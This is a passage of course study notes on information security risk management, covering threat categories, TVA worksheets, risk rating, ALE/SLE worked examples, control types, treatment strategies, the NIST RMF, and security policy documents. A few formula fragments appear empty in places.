| Technical hardware failures or errors | hardware equipment failure |
| Technical software failures or errors | bugs, code problems, loopholes, backdoors |
| Technological obsolescence | antiquated or outdated technologies |
| Theft | illegal confiscation of equipment or information |
- Mnemonic: Old Taskar Dhilo Aayo; Nadi Tarda Haat Tutyo; Exam Copy, Ijjat Satyanaas (the old smuggler came late; crossing the river he broke his hand; he copied in the exam, and his honour was ruined): obsolescence, theft, deviations in quality of service, software attacks, forces of nature, technical software failures, human error, technical hardware failures, espionage or trespass, compromises to intellectual property, information extortion, sabotage or vandalism.
- To remember it: one imagined Kathmandu cyber cafe in a year: pirated Windows on every PC (intellectual property), load-shedding and a slow ISP (quality of service), a customer reading the last user's open email (espionage), a basement flood in the monsoon (nature), the operator deleting the bills folder (human error), a stolen webcam (theft), machines on an operating system that gets no more patches (obsolescence).
- Simpler cuts: deliberate, accidental, environmental; external or internal; malice, mistakes, mischance.
- Top threats today (deck graphic): phishing, ransomware, malware, Emotet (banking trojan turned malware-delivery botnet; taken down by Europol in January 2021, back that November), APTs, software supply chain attacks, data breaches, password attacks, cloud security and privacy, cloud security threats, insecure IoT; its multi-layer security tile is the answer (defence in depth), not a threat.
The top eight types of cyber attack (deck infographic)
| Attack | What it does |
|---|---|
| 1. Phishing | deceptive emails, messages or websites obtain sensitive information: link sent, credentials collected and used |
| 2. Ransomware | encrypts files and demands payment for their release (an infected pen drive in the picture) |
| 3. Denial of service | overloads a system or network to disrupt it; bots through open DNS servers (amplification) |
| 4. Man in the middle | intercepts and manipulates communication between two parties without their knowledge |
| 5. SQL injection | exploits database query flaws for unauthorised access to the data behind a web application |
| 6. Cross-site scripting | injects malicious scripts into websites viewed by other users |
| 7. Zero-day exploits | attack unknown flaws before developers can fix them; zero days to fix |
| 8. DNS spoofing | a fake DNS entry sends users asking for the real site to a malicious one |
- Threat assessment (deck, identify and prioritise threats and threat agents): each threat is a unique challenge, handled with specific controls addressing that threat and the threat agent's attack strategy; before assessment each threat is examined to determine its potential to affect the targeted information asset. Criteria (which threat is most dangerous): probability of attacking this organization, frequency, amount of damage, cost to recover, which needs the greatest expenditure to prevent. Assuming every threat hits every asset makes the job impossibly large.
- Vulnerabilities: specific avenues a threat agent can exploit; flaws, loopholes, errors in infrastructure, processes and people. Identification ends with a list of assets and their vulnerabilities, the starting point for risk assessment (the deck's vulnerability assessment).
| Source | Examples |
|---|---|
| Software flaws | buffer overflow, SQL injection, unpatched flaws, zero-days |
| Configuration | default passwords, open ports, public cloud storage, excessive permissions |
| Design and process | no offboarding, no change control, shared accounts, shadow IT |
| People | phishing victims, weak or reused passwords |
| Physical and environmental | unlocked server room, no fire suppression or cooling |
| Obsolescence | OS past vendor support, no more patches |
- Found and named: scanning, penetration testing, code review, threat modeling, audits, vendor advisories, threat intelligence; CVE (MITRE, since 1999), CVSS 0 to 10, published in the US National Vulnerability Database; unknown or unpatched flaw: a zero-day.
The deck's vulnerability assessment of a DMZ router
| Threat | Possible vulnerabilities |
|---|---|
| Compromises to intellectual property | little intrinsic value, but assets it protects could be attacked if it is compromised |
| Espionage or trespass | the same |
| Forces of nature | all assets subject to them unless suitable controls exist |
| Human error or failure | employees or contractors may cause an outage through configuration errors |
| Information extortion | little intrinsic value, guards other assets |
| Quality of service deviations | without suitable electrical power conditioning, failure is probable over time |
| Sabotage or vandalism | IP vulnerable to DoS; defacement or cache poisoning |
| Software attacks | IP vulnerable to DoS; outsider IP fingerprinting can reveal sensitive information |
| Technical hardware failures | hardware could fail and cause an outage; power failures always possible |
| Technical software failures | vendor-supplied routing software could fail and cause an outage |
| Technological obsolescence | without review and updates, it may fall too far behind vendor support to stay in service |
| Theft | little intrinsic value, guards other assets |
- Reading it: a low value router still exposes the assets behind it; working category by category makes the assessment complete.
Risk management: what it is, why it is needed, and the process
Risk management (deck): discovering and assessing the risks to an organization's operations and determining how they can be controlled or mitigated; goal: an acceptable level, never zero.
- Risk comes with every activity (hiring, marketing, choosing a building); unmanaged, it ends in failure or collapse.
Why it is needed
- Limited resources: every asset from every threat is impossible; effort goes to the highest risk. Class notes: from chaos to control, a structured process for intelligent, data-driven decisions on where to focus limited resources to protect what matters most.
- Risk cannot be eliminated: residual risk must be known and owned.
- Informed decisions: ranked, costed choices (buy, insure, accept).
- Legal and regulatory duty: shows due care and due diligence; ISO/IEC 27001, PCI DSS require it.
- Continuity and reputation: stoppers found before they strike.
- Never finished: assets, threats and vulnerabilities change; safeguards reviewed, not installed and forgotten.
Sun Tzu (deck; it spells the name Sun Tsu)
- Know the enemy and yourself: no fear of the result of a hundred battles; yourself only: a defeat for every victory gained; neither: succumb in every battle. Sun Tzu's inference: an organization must know itself and know its adversaries.
- Know yourself: assets and how they are protected while stored, processed, transmitted (a DBA: what data, which servers, which DBMS); armed with this, start an in-depth risk management programme.
- Know the enemy: the threats (for a web app: XSS, SQL injection, DoS, CSRF); managers must be prepared to fully identify the threats that pose risks. Risk analysis (deck): the identification and assessment of levels of risk in the organization, a major component of risk management.
- Three communities of interest: information security, IT, general business management, together; then a strategic plan of defence.
- To remember it: a family leaving its flat for Dashain: what is worth protecting (gold, laptop, land papers: know yourself), who could come for it (a burglar who knows the flat is empty: know the enemy), then the decisions: the gold to a bank locker, a second lock on the door, the old sofa left to its fate; rank, treat the top, accept the rest knowingly.
Figure: the five step cycle with steps 1 to 3 bracketed as risk assessment and a return arrow from monitoring.
- Identification: assets, threats, vulnerabilities.
- Analysis: likelihood and impact, qualitative or quantitative.
- Evaluation: compare with risk criteria, rank, treat or accept.
- Treatment: avoid, transfer, mitigate, accept, using controls.
- Review and monitoring: controls work? new threats? repeat.
- ISO 31000 calls steps 1 to 3 risk assessment and wraps the cycle in communication and consultation, recording and reporting.
- Terms: risk appetite, inherent risk, residual risk, risk owner.
- Standards: ISO 31000:2018, ISO/IEC 27005 (2022), NIST SP 800-30 (risk assessment), SP 800-39 (organization-wide), SP 800-37 (RMF).
Risk identification: from the asset inventory to the TVA worksheet
Risk identification: the first stage, a systematic process to discover and catalogue the risks to the information assets; it starts with self-examination: identify the assets, classify them into useful groups, prioritise them by overall importance, then pair them with threats and vulnerabilities.
- Create an inventory of information assets: people, procedures, data and information, software, hardware, networking elements, with attributes, without prejudging value.
- Classify and organise: meaningful categories and sensitivity; comprehensive (every asset fits one) and mutually exclusive (each fits only one).
- Assign a value: a relative, comparative judgement, ranked by weighted factor analysis.
- Identify threats to the catalogued assets and assess each: probability, frequency, damage, recovery cost, prevention cost.
- Pinpoint vulnerable assets: tie specific threats to specific assets and list the vulnerabilities.
- Class notes' names: create an asset inventory, classify and categorize assets, assign value to assets, identify threats, identify vulnerabilities (in the threat, vulnerability and asset worksheet).
- Mnemonic: Ishwor Chhatma Vodka Tanera Paltiyo (Ishwor downed vodka on the roof and toppled over): inventory, classify, value, threats, pinpoint.
Step 1: the inventory and its attributes
| IT system component | Risk management component | Examples |
|---|---|---|
| People | internal personnel; external personnel | trusted employees; other staff; people trusted outside the organization; strangers |
| Procedures | procedures | IT and business standard procedures; IT and business sensitive procedures |
| Data | data and information | in transmission, processing, storage |
| Software | software | applications; operating systems; security components |
| Hardware | hardware | systems and peripherals; security devices |
| Networking | networking | LAN components; intranet components; internet or extranet components; cloud-based components |
| Asset | Attributes (deck) |
|---|---|
| People | position name, number or ID; supervisor name, number or ID; security clearance level; special skills |
| Procedures | description; intended purpose; the software, hardware and networking elements it is tied to; where stored for reference; where stored for update purposes |
| Data | classification; owner, creator or manager; size of data structure; data structure used (sequential or relational); online or offline; location; backup procedures |
| Software, hardware, network | name; IP address; MAC address; asset type (servers, desktops, networking devices, OS, payroll, firewall); serial number; manufacturer name; model or part number; software version or update revision; physical location (remote or in-house); logical location; controlling entity (the unit that controls it) |
- Why the inventory comes first (Jim Schwar's tweet in the deck): asked how many Windows hosts the company has, the antivirus team says 7,864, desktop management 6,321, the EDR team 6,722, the CMDB 4,848 and the SIEM team 9,342. Two memes: an accurate inventory is needed before protecting anything, and nobody expects the inventory report to be accurate.
Step 2: classifying and categorizing assets
- Meaningful categories: once the initial inventory is assembled, check its categories (people, procedures, data, software, hardware, network components); it should reflect each asset's sensitivity and security priority. A classification scheme categorizes assets by sensitivity and security needs; each category designates the level of protection needed.
- Two schemes, government and military against commercial business and private: government and military, high to low: top secret, secret, confidential, sensitive but unclassified, unclassified; commercial business and private: confidential or private (sharing the top box), sensitive, public.
- Personnel: an alternative scheme of clearances, based on need to know and right to update, setting the level of information each employee may use.
| Asset (SLS E-Commerce, evaluated February 2008 by D. Jones) | Data classification | Impact to profitability |
|---|---|---|
| Transmitted: EDI document set 1, logistics bill of lading (BOL) to outsourcer (outbound) | confidential | high |
| Transmitted: EDI document set 2, supplier orders (outbound) | confidential | high |
| Transmitted: EDI document set 2, supplier fulfilment advice (inbound) | confidential | medium |
| Transmitted: customer order via SSL (inbound) | confidential | critical |
| Transmitted: customer service request via email (inbound) | private | medium |
| DMZ: edge router | public | critical |
| DMZ: web server 1, home page and core site | public | critical |
| DMZ: web server 2, application server | private | critical |
- The deck's asset classification schema; EDI electronic data interchange, BOL bill of lading, DMZ demilitarized zone, SSL secure sockets layer.
Step 3: assessing values for information assets
- Relative value for each identified, categorized and classified asset, so the most valuable get the highest priority. Questions: most critical to the organization's success? most revenue? highest profitability? most expensive to replace? most expensive to protect? most embarrassing or greatest liability if lost or compromised?
- Listing assets in order of importance: the weighted factor analysis worksheet: weights revenue 30, profitability 40, public image 30 (total 100); scores 0 to 1; .
| Asset | Revenue (30) | Profitability (40) | Image (30) | Score |
|---|---|---|---|---|
| Customer order via SSL | 1.0 | 1.0 | 1.0 | 100, critical |
| EDI set 2, supplier orders | 0.8 | 0.9 | 0.6 | 78 |
| EDI set 1, logistics bill of lading | 0.8 | 0.9 | 0.5 | 75 |
| Customer service request by email | 0.4 | 0.4 | 0.9 | 55 |
| EDI set 2, supplier fulfilment advice | 0.4 | 0.5 | 0.3 | 41, least critical |
- Check: 30 times 0.8, 40 times 0.9 and 30 times 0.6 give .
- Slide labels: the scores are individual weights, the 100 the critical asset and the 41 a non-critical asset; the criterion weights the overall org. weight.
Steps 4 and 5: threats, vulnerabilities and the TVA worksheet
- Threat identification: with a properly classified inventory, assess the potential weaknesses in each asset; assuming every threat can and will attack every asset makes the scope too complex, so threat identification and vulnerability identification are managed separately and coordinated at the end.
- TVA worksheet: combines the list of assets and their vulnerabilities with the list of threats prioritised from the weighted table: assets across by value, threats down by danger; cells hold vulnerabilities named T1V1A1; pairs with no vulnerability crossed out; top left corner first, giving the priority of controls in bands continued through all asset and threat pairs; the start of risk assessment.
Figure: the deck's TVA worksheet (page 75): Asset 1 to Asset n across, Threat 1 to Threat n down, shaded in diagonal bands from the top left that give the priority of controls, 1 to 6, continued through all asset and threat pairs.
| Deliverable | Purpose |
|---|---|
| Information asset classification worksheet | information about the assets and their impact on or value to the organization |
| Weighted criteria analysis worksheet | a ranked value or impact weight for each asset |
| TVA worksheet | combines asset and threat identification and prioritisation, finds the potential vulnerabilities in the "triples", includes existing and planned controls |
| Ranked vulnerability risk worksheet | a ranked risk rating for each uncontrolled asset and vulnerability pair |
- Ten step version (Whitman and Mattord, in the deck): plan and organise, create component categories, develop the inventory, identify threats, specify vulnerable assets, assign value or impact, assess likelihood, calculate relative risk, review possible controls, document findings.
Risk assessment: rating and ranking the risks
Risk assessment: determining which threats are most likely to exploit which vulnerabilities and how much harm results, so risks are rated and ranked; the deck: determining which threats are more likely to happen and affect the organization's information assets; NIST SP 800-30: identifying, estimating and prioritising risk.
- Likelihood: the overall rating of the probability a vulnerability is exploited, on a scale such as 0.1 to 1.0 or rare to almost certain.
- Impact (value): weighted scores from asset valuation, 1 to 100 or low, medium, high.
- Whitman's formula (deck): risk is (likelihood of the vulnerability's occurrence times the asset's value), minus the percentage of risk mitigated by current controls, plus the uncertainty of current knowledge of the vulnerability; both percentages applied to .
- Mitigated: a vulnerability fully managed by an existing control is set aside; for a partly controlled one, estimate the percentage controlled.
- Uncertainty: nobody knows everything about every vulnerability, and how far a control reduces risk is itself an estimate; the manager judges it from experience; 90 percent accurate data means 10 percent uncertainty.
| Case (the deck's risk determination example) | L × V | Mitigated | Uncertainty | Rating |
|---|---|---|---|---|
| Asset A (50): likelihood 1.0, no controls, 90% accurate | 50 | 0 | +5 | 55 |
| Asset B (100): likelihood 0.5, control covers 50%, 80% accurate | 50 | minus 25 | +10 | 35 |
| Asset B: likelihood 0.1, no controls, 80% accurate | 10 | 0 | +2 | 12 |
- Ranked 55, 35, 12; controls in that order.
Ranked vulnerability risk worksheet (deck)
Rating = asset impact × vulnerability likelihood; asset impacts from the weighted factor analysis (email requests 55, SSL orders 100).
| Asset | Impact | Vulnerability | Likelihood | Rating |
|---|---|---|---|---|
| Customer service request via email | 55 | email disruption due to hardware failure | 0.2 | 11 |
| Customer service request via email | 55 | email disruption due to software failure | 0.2 | 11 |
| Customer order via SSL | 100 | lost orders due to web server hardware failure | 0.1 | 10 |
| Customer order via SSL | 100 | lost orders due to web server or ISP service failure | 0.1 | 10 |
| Customer service request via email | 55 | email disruption due to SMTP mail relay attack | 0.1 | 5.5 |
| Customer service request via email | 55 | email disruption due to ISP service failure | 0.1 | 5.5 |
| Customer service request via email | 55 | email disruption due to power failure | 0.1 | 5.5 |
| Customer order via SSL | 100 | lost orders due to web server denial of service attack | 0.025 | 2.5 |
| Customer order via SSL | 100 | lost orders due to web server software failure | 0.01 (printed 0.1) | 1 |
| Customer order via SSL | 100 | lost orders due to web server buffer overrun attack | 0.01 (printed 0.1) | 1 |
- A likely problem on a mid value asset (11) can outrank an unlikely one on the most valuable (10). The deck flags its own slip: the last two rows meant likelihood 0.01.
| Likelihood / impact | 1 | 2 | 3 | 4 | 5 |
|---|---|---|---|---|---|
| 5 almost certain | 5 | 10 | 15 | 20 | 25 |
| 4 likely | 4 | 8 | 12 | 16 | 20 |
| 3 possible | 3 | 6 | 9 | 12 | 15 (A) |
| 2 unlikely | 2 | 4 | 6 | 8 | 10 (B) |
| 1 rare | 1 | 2 | 3 (D) | 4 | 5 (C) |
- Zones (one common banding; organizations set their own): 1 to 5 low, 6 to 10 medium, 12 to 16 high, 20 to 25 critical; A, B, C placed at severe impact (the deck rates them critical), D at moderate.
| Risk | Threat | Vulnerability | Consequence | Rating | Treatment |
|---|---|---|---|---|---|
| A | system failure: server room overheating (high) | ten year old air conditioner (high) | all services down 3 hours or more | high, about USD 50,000 per occurrence | new air conditioner, USD 3,000 |
| B | malicious human interference: DDoS (high) | firewall with good DDoS mitigation (low) | website down | moderate, USD 5,000 per hour | monitor the firewall |
| C | natural disaster: flooding (moderate) | server room on third floor (very low) | all services down | very low | no action |
| D | accidental human interference: file deletion (high) | permissions, auditing, backups (low) | services down 3 hours | low | keep monitoring |
- Reading: the air conditioner is the first spend; flooding accepted; good mitigation keeps a high DDoS threat at moderate risk.
- Risk evaluation: compare ratings with the appetite; treat, transfer or accept; record in the risk register with owner and review date.
Quantitative and qualitative risk analysis: AV, EF, SLE, ARO, ALE
Quantitative risk analysis puts money values and frequencies on every element, so the expected yearly loss can be compared with the yearly cost of a control; qualitative analysis rates likelihood and impact on descriptive scales.
| Term | Meaning | Formula |
|---|---|---|
| AV, asset value | worth: replacement, lost revenue, fines, reputation | estimated |
| EF, exposure factor | share of AV lost per incident, 0 to 100 percent | estimated |
| SLE, single loss expectancy | cost of one incident | |
| ARO, annualized rate of occurrence | incidents per year (0.1 once in ten years; 3 three a year) | from history |
| ALE, annualized loss expectancy | expected loss per year |
Figure: the chain AV × EF = SLE, SLE × ARO = ALE, with the LCD values and the buy decision.
- ACS is the annual cost of the safeguard; positive value: the control saves money; negative: accept or transfer instead.
The LCD warranty case (2081 Bhadra Q9, 2082 internal Q8)
- 25 laptops; two more years of LCD warranty for all 25 costs USD 2,000; three LCDs fail a year at USD 500 each.
- SLE: AV = one LCD, 500 dollars; EF = 100 percent; SLE = 500 dollars.
- ARO: 3 a year.
- ALE: 500 × 3 = 1,500 dollars a year.
- Decision: over the 2 covered years, expected loss 3,000 dollars against 2,000; annualised, 1,000 a year against an ALE of 1,500; buy, saving about 1,000 dollars.
- Assumptions: every failure covered, no extra charge, three failures a year, stable prices; below two failures a year (ALE under 1,000) it stops paying. The warranty is risk transference. Per laptop: ARO 0.12, ALE 60 dollars, × 25 = 1,500.
The mitigation plan case (the class notes' assignment)
- The case: the notes' assignment (prepare a quantitative risk analysis and a risk mitigation plan): Online Nepal Mart, a fictional, growing online retailer; asset: the customer database, the PII (personally identifiable information) of 10,000 customers, names, addresses, purchase histories; vulnerability: a known, unpatched SQL injection flaw; threat: a hacker stealing the whole database.
- Assign asset value: fines, brand damage, notification and credit monitoring: AV = NPR 5,000,000.
- Calculate exposure factor: EF = 60% (or 0.6).
- Calculate single loss expectancy: SLE = AV × EF = NPR 3,000,000.
- Assess annualized rate of occurrence: SQL injection is common and actively exploited: ARO = 0.5, a 50% chance of occurring this year.
- Derive annualized loss expectancy: ALE = SLE × ARO = NPR 1,500,000 a year if nothing is done.
- Mitigation plan: implement a web application firewall (WAF), filtering malicious SQL queries (WAF subscription NPR 150,000 a year); conduct a security code review and patch (NPR 200,000, once); perform regular vulnerability scanning (vulnerability scanner subscription NPR 50,000 a year).
- Cost benefit: the notes' total annual cost = NPR 400,000 is the first year's (the review is paid once; later years NPR 200,000). Recalculating the risk: new ARO = 0.1 (a 10% chance per year), new ALE = NPR 300,000; SLE unchanged (controls cut frequency, not size).
- Value: (original ALE minus new ALE) minus cost of controls = 1,500,000 minus 300,000 minus 400,000 = NPR 800,000 in year one, NPR 1,000,000 a year after; implement at once.
- ROSI: (ALE before, minus ALE after, minus the cost) divided by the cost: 800,000 / 400,000 = 200 percent; the class notes use ROSI for the net saving.
- Qualitative: scales, risk matrix or heat map, brainstorming, interviews, checklists, the Delphi technique (anonymous expert rounds until ratings converge).
| Point | Quantitative | Qualitative |
|---|---|---|
| Measures | money and frequency | ratings |
| Basis | loss history, prices, statistics | judgement, experience, scenarios |
| Output | cost benefit per control | ranked list, heat map |
| Strengths | objective, comparable, budget support | quick, cheap, no data needed, intangibles |
| Weaknesses | data hungry; reputation and safety hard to price; false precision | subjective; assessors differ; cannot be added or costed |
| Use when | loss can be priced | new systems, human factors, screening |
- Hybrid (semi-quantitative) is usual; FAIR (Factor Analysis of Information Risk, an Open Group standard) is a modern quantitative method.
Security controls: by type and by function
Security control: a safeguard or countermeasure that reduces the likelihood or impact of a risk, or helps identify issues; classified by type (the deck's control mechanism) and by function (its control purpose).
- Administrative (managerial): use processes: policies, procedures, risk assessments, screening of new staff, training, separation of duties, classification.
- Technical (logical): use technology: firewalls, encryption, ACLs, MFA, IDS/IPS, antivirus, EDR.
- Physical: impact the physical world: fences, locks, guards, badge readers, CCTV, fire suppression. (CompTIA splits administrative into managerial and operational.)
- Preventive (stops: firewall rule, MFA, locked door); deterrent (discourages violations: banner, visible cameras, penalties); detective (identifies issues needing investigation: IDS, log review, audits, CCTV recordings); corrective (returns systems to normal or stops an attack in progress: patch, quarantine, kill a process); recovery (remediates issues that occurred, restoring capability: backup restore, DR failover; the deck files it under corrective); compensating (alternative when the preferred control is infeasible: isolate an unpatchable PLC with monitoring); directive (tells people: policy, signs).
- Mnemonic: Disha Darauchhe; Prahari Dekhchha, Chhito Rupaiyaan Chhopchha (Disha gets scared; the policeman sees her and quickly hides the cash): directive, deterrent, preventive, detective, corrective, recovery, compensating, in the order an incident meets them.
The grid (the deck's own grid crosses preventative, detective and corrective with the three types; its examples come first in those rows):
| Function | Administrative | Technical | Physical |
|---|---|---|---|
| Preventive | hiring and termination policies, separation of duties, data classification; policy, screening | firewall, IPS, MFA solution, antivirus software; encryption | fences, gates, locks; mantrap |
| Deterrent | sanctions in the AUP | login banner | visible CCTV, guards, signs |
| Detective | reviewing access rights, audit logs and unauthorised changes; job rotation, mandatory vacations | IDS, honeypots; SIEM alerts, file integrity monitoring | CCTV and surveillance camera logs; motion sensors |
| Corrective | implementing a BCP or incident response plan; discipline | patching a system, terminating a process, rebooting, quarantining a virus | repairing physical damage, re-issuing access cards; fire suppression |
| Recovery | BCP and DRP | backup restore, failover cluster | standby site |
| Compensating | extra supervisory review | segmenting a legacy system | a guard where no lock fits |
| Directive | policies, standards, procedures | a login notice of the acceptable use rules | an authorised staff only sign |
- Two labels each: CCTV physical and detective (deterrent when visible); MFA technical and preventive; backup technical and recovery; awareness programme administrative and preventive.
- To remember it: an ATM booth: the CCTV sticker deters, the card and PIN prevent, the recording pulled after a dispute detects, blocking a card reported stolen corrects, a standby server bringing the ATM network back after a crash recovers, a guard while the camera is broken compensates, the one person at a time notice directs.
- Selecting (deck, identifying possible controls: policies, the general approach to threats; programs, activities that improve security; technical controls, hardware or software mechanisms managing access and protecting resources): follow the risk ranking; mix functions; mix types; cost below the risk; use catalogues: NIST SP 800-53 (20 families in Rev. 5), ISO/IEC 27001 Annex A (93 controls, 2022), CIS Controls.
Risk treatment: avoid, transfer, mitigate or accept
Risk treatment (risk control, risk response): analysing and implementing responses to control a risk; one of four strategies, or a mix.
| Strategy | What it does | Deck examples | Other examples |
|---|---|---|---|
| Avoidance (defence) | changes practice so the risk becomes irrelevant | HTTPS not HTTP; Rust not C/C++ (memory safety) | not storing card numbers |
| Transference | shifts the risk or its cost to another party | insurance; cloud | managed provider; a warranty; supplier contract clauses |
| Mitigation | reduces likelihood or impact | patching; IRP; BCP | WAF; tested backups |
| Acceptance | continues knowingly in the face of the risk | none given | flood risk to a third floor server room; cheap device |
- To remember it: a motorbike in Kathmandu traffic: sell it and take the bus (avoid), insure it (transfer), a helmet and a disc lock (mitigate), live with the odd scratch (accept); every rider mixes the four.
- Acceptance: the class notes: continuing operations without implementing any controls against a specific risk, typically when the cost of a countermeasure outweighs the potential loss or the risk's impact is minimal (a minor bug with no security implications); right only inside the appetite; documented, signed by the risk owner, reviewed; an undecided risk is ignored, not accepted.
- Transference moves money, not accountability: customers, regulator and reputation stay with the organization; the cloud provider covers only its share of the shared responsibility model.
- Termination (Whitman and Mattord's fifth): remove the asset or end the activity (retire an old server).
Decision chart (deck, risk handling action points)
- Vulnerable design? No: no risk.
- Exploitable? No: no risk; yes: vulnerable to attack.
- Threat source and vulnerability exist: risk of loss exists.
- Attacker's gain above attack cost? No: accept.
- Expected loss above the ability to absorb? No: accept; yes: unacceptable, control by defence, transfer or mitigation, else terminate the asset.
Figure: the deck's flowchart of this chart (page 88): threat source and asset design meet at "threat and vulnerability exist", then "risk of loss exists", then the two money questions, each "no" ending in "risk can be accepted".
- Control loop (the second action points slide): identify information assets, prepare the ranked vulnerability risk worksheet, develop control strategy and plan, implement control, assess control (controls adequate? else back to the strategy and plan), plan for maintenance, measure risk to the information asset (acceptable risk? else back to strategy).
- Residual risk: inside the appetite, owned by the accepting manager; in the RMF, the authorization decision.
- Deck slip: its transference line repeats the treatment definition; transference means shifting to a third party.
The NIST Risk Management Framework, and why the ocean cannot be boiled
NIST RMF: seven steps for managing security and privacy risk to a system across its life cycle, NIST SP 800-37 Rev. 2 (December 2018): prepare, categorize, select, implement, assess, authorize, monitor. A risk management framework is a guideline or recipe for how risk is assessed, resolved and monitored (course definition; ISO/IEC 27005 is another).
- The phrase: some tasks are too big to do at once; every asset cannot be protected against every threat to the highest standard; money, people and time are finite, the attack surface unbounded, risk only reducible to an acceptable level. The intent: prioritise by risk.
- Know what matters: inventory and value assets, rank risks.
- Spend in proportion: strong controls on critical systems, a baseline elsewhere, cost benefit tested.
- Accept the remainder explicitly: residual risk documented and owned by a senior official.
- Scope: every threat against every asset is too complex (deck); handle separately, combine at the end, within a system boundary.
- Iterate: most important first; heat the ocean one pot at a time.
- The starting point: defining scope (the class notes): before any step, the organizational inputs (strategic goals, priorities, resources available, legal obligations) and the architecture description, which defines the information system boundaries; the RMF protects a specific, defined system, not everything.
Figure: Prepare at the centre, the six other steps in a clockwise ring.
| Step | What happens | Output | How it prioritises |
|---|---|---|---|
| 1 Prepare | context: roles, risk strategy and tolerance, organization-wide assessment, common controls, boundary, assets | strategy, boundary | decides what matters and what is tolerable |
| 2 Categorize | impact of losing C, I or A: low, moderate, high (FIPS 199; SP 800-60) | security category | low impact systems do not get high impact controls |
| 3 Select | SP 800-53 baseline (SP 800-53B) tailored | security and privacy plan | only justified controls |
| 4 Implement | controls in place, documented | controls | effort follows the plan |
| 5 Assess | implemented correctly, operating as intended, desired outcome | assessment report, POA&M | worst weaknesses first |
| 6 Authorize | authorizing official weighs remaining risk | ATO (authorization, or in the class notes authority, to operate) or denial | residual risk accepted by a named person |
| 7 Monitor | controls, changes, threats; report, reassess | ongoing authorization | cycle repeats |
- Mnemonic: Pahilo Chiya Sakera Ilam Aaipugda Aama Murchhit (after finishing her first tea, Aama reached Ilam and fainted): prepare, categorize, select, implement, assess, authorize, monitor; pahilo is first, as Prepare is, and Aama gives the final yes, as the authorizing official does; Rev. 1 is the same sentence without Pahilo.
- FIPS 199: a category per goal, e.g. bank customer database {(C, high), (I, high), (A, moderate)}; FIPS 200 takes the high water mark; a college news site {(C, low), (I, moderate), (A, low)} is moderate.
- Example, a bank: core banking high, website moderate, canteen app low; high baseline to core banking; the authorizing official accepts a leftover website risk (a patch due next month) in the POA&M; new threats restart the cycle; one pot heated, the one holding the money.
- Rev. 1 and Rev. 2: the class notes' figure is the six step RMF lifecycle of Rev. 1 (2010), repeated as necessary (categorize the information system; select, implement, assess the security controls; authorize the information system; monitor the security controls), starting from organizational inputs (laws, directives, policy guidance; strategic goals and objectives; priorities and resource availability; supply chain considerations) and an architecture description (architecture reference models; segment and solution architectures; mission and business processes; information system boundaries); Rev. 2 made that start the Prepare step and added privacy and supply chain risk.
Figure: the class notes' RMF figure, Rev. 1: step 1 categorize the information system, 2 select, 3 implement, 4 assess the security controls, 5 authorize the information system, 6 monitor the security controls, repeated as necessary from the starting point of architecture description and organizational inputs.
Policies, standards, baselines, guidelines and procedures
Security policy: senior management's high-level statement of what the organization intends for security and expects of everyone; standards, baselines, guidelines and procedures make it specific.
- Need (deck): consistent security principles; compliance with standards; limited exposure to external threats; management commitment; legal protection; quick incident response; reduced impact; lower breach risk. Also the reference for internal audits and legal disputes about due care and diligence, and a statement of intent.
| Document | What it is | Mandatory | Example (encryption) |
|---|---|---|---|
| Policy | management intent: what and why | yes | customer data protected from disclosure |
| Standard | compulsory specifics for hardware, software, technology, controls | yes | AES-256 at rest, TLS 1.2 or later in transit |
| Baseline | minimum level every system must meet; below it, out of production; the class notes: a specific type of standard, the uniform starting point for configurations | yes | CIS benchmark level 1, disk encryption on |
| Guideline | recommended practice; which mechanisms, not products | no | prefer the central key service, rotate keys yearly |
| Procedure | exact step-by-step actions for one mechanism | yes | enable encryption on a database server, steps 1 to 6 |
- To remember it: a college hostel: safe at night (policy), the main gate locked at 9 pm (standard), a working lock on every room (baseline), valuables in the locker suggested (guideline), a late student calls the warden, shows the ID card and signs the register (procedure).
Figure: a pyramid, policy at the apex, then standard, baseline, guideline and procedure, with laws and frameworks above.
- Hierarchy (deck): policies sanctioned by senior management drive standards; standards, built on sound policy, carry its weight and drive practices, procedures and guidelines, the detailed steps to meet the standards; the security policy is strategic, the mandatory standards, recommended guidelines and detailed procedures tactical.
- Regulatory frameworks above the policy (the deck's pyramid): PCI DSS requirement 3, encrypt cardholder data (titled protect stored cardholder data, stored account data since version 4.0), to an encryption policy, to encryption standards (DES, AES, RSA, the Rivest-Shamir-Adleman algorithm), to data encryption procedures, practices and guidelines. DES is obsolete: its 56-bit key fell to brute force in the late 1990s and NIST withdrew it in 2005.
- Standards (deck): mandatory activities, actions or rules giving a policy support and reinforcement; one computer type or manufacturer, a consistent email signature (organizational); PCI DSS, NIST CSF, ITIL, ISO (external). An inappropriate-use policy leads to a standard that all inappropriate content is blocked, with a list of it; later technical controls and procedures block network access to such websites.
- Baselines: from the Common Criteria (CC, ISO/IEC 15408), the Information Technology Security Evaluation Criteria (ITSEC, its 1991 European forerunner; the deck writes evaluation and criteria) or NIST, the National Institute of Standards and Technology.
- Guidelines: recommendations on implementing standards and baselines; methodologies and suggested actions; not compulsory. Procedures: follow NIST, CSF, ISO or the organization's own standards; mandatory.
- Why they are inexpensive: only the time to create, approve, communicate and adopt; small even with a consultant, next to technical controls.
- Why they are difficult: people must change. Deck: impracticable, lack of commitment, not matching objectives.
- The challenge of implementing security policies (class notes): lack of commitment (useless without senior support and enforcement; if the top does not take it seriously, employees will not follow); organizational change (overcoming resistance and integrating security into the company culture is a significant challenge); complexity and practicality (practical, supporting success, lawful; too restrictive means ignored); end-user involvement (written with input from those who must follow it).
- Shaping rules (deck): never conflict with law; stand up in court; properly supported and administered; contribute to the organization's success; involve end users.
- Common policies: acceptable use, data breach response, DRP, BCP, remote access, access control, password.
- Password policy example: individual accounts, 12 characters or more, no reuse from other sites, MFA for email, remote access and admins, lockout, leavers disabled on the last day, disciplinary action.
- Leavers procedure: HR notifies IT a week ahead; IT disables directory, email, VPN on the last day; revokes badges and tokens; hands files to the manager; records the ticket; monthly compares accounts with the HR list. Missing in chapter 6's terminated vice president's case.
- Chapter 7: security policy framework, hierarchy, NIST SP 800-14 enterprise, issue-specific and system-specific policies.
Due care and due diligence
Due care: doing what a reasonable, prudent person would do: acting to protect. Due diligence: the investigation and continuing checks that find what needs protecting and confirm the care works.
- Mnemonic: due diligence is do detect (research, assess, verify); due care is do correct (implement, operate, fix).
| Point | Due diligence | Due care |
|---|---|---|
| Question | what are the risks, do controls work? | have reasonable steps been taken? |
| Nature | investigation, assessment, verification | action, controls in place |
| Examples | risk assessments, vendor reviews, scans, audits, backup tests, staff screening | enforced policy, patches, backups, leavers disabled, training |
| Evidence | reports, audit results, scan logs | configurations, tickets, training records |
